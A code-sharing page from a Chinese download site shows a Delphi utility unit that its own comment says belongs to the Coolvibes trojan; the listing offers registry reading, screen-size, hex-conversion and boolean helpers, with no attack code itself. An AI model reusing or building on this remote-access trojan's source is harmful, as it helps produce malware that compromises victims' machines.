⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unitfunciones.pas

📁 参照上兴、鸽子等源码编写编写出来的。 编译环境:Delphi7+SP+DP+indy9等控件
💻 PAS
字号:
{Unit perteneciente al troyano Coolvibes que contiene todas las funciones
que son usadas en varias partes del programa}
unit UnitFunciones;

interface

uses
  Windows,
  SysUtils;

  function GetClave(key:Hkey; subkey,nombre:String):String;
  function AnchuraPantalla():Integer;
  function AlturaPantalla():Integer;
  function HexToInt(s: string): Longword;
  function BooleanToStr(Bool : Boolean; TrueString, FalseString : string) : String;

implementation

function GetClave(key:Hkey; subkey,nombre:String):String;
var
  bytesread:dword;
  regKey: HKEY;
  valor:String;
begin
  Result:='';
  RegOpenKeyEx(key,PChar(subkey),0, KEY_READ, regKey);
  RegQueryValueEx(regKey,PChar(nombre),nil,nil,nil,@bytesread);
  SetLength(valor, bytesread);
  if RegQueryValueEx(regKey,PChar(nombre),nil,nil,@valor[1],@bytesread)=0 then
    result:=valor;
  RegCloseKey(regKey);
end;

function AlturaPantalla():Integer;
var
  Rectangulo: TRECT;
begin
  GetWindowRect(GetDesktopWindow(),
                Rectangulo);
  Result:=Rectangulo.Bottom-Rectangulo.Top;
end;

function AnchuraPantalla():Integer;
var
  Rectangulo: TRECT;
begin
  GetWindowRect(GetDesktopWindow(),
                Rectangulo);
  Result:=Rectangulo.Right-Rectangulo.Left;
end;

function HexToInt(s: string): Longword;
var
  b: Byte;
  c: Char;
begin
  Result := 0;
  s := UpperCase(s);
  for b := 1 to Length(s) do
  begin
    Result := Result * 16;
    c := s[b];
    case c of
      '0'..'9': Inc(Result, Ord(c) - Ord('0'));
      'A'..'F': Inc(Result, Ord(c) - Ord('A') + 10);
      else
        raise EConvertError.Create('No Hex-Number');
    end;
  end;
end;


function BooleanToStr(Bool : Boolean; TrueString, FalseString : string) : String;
//Devuelve la string especificada para true si el boolean que se le pasa es true, y viceversa
begin
  if Bool then
    Result := TrueString
  else
    Result := FalseString;
end;

{function FileTime2DateTime(FileTime: TFileTime): TDateTime;
var
  LocalFileTime: TFileTime;
  SystemTime: TSystemTime;
begin
  FileTimeToLocalFileTime(FileTime, LocalFileTime);
  FileTimeToSystemTime(LocalFileTime, SystemTime);
  Result := SystemTimeToDateTime(SystemTime);
end;}

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -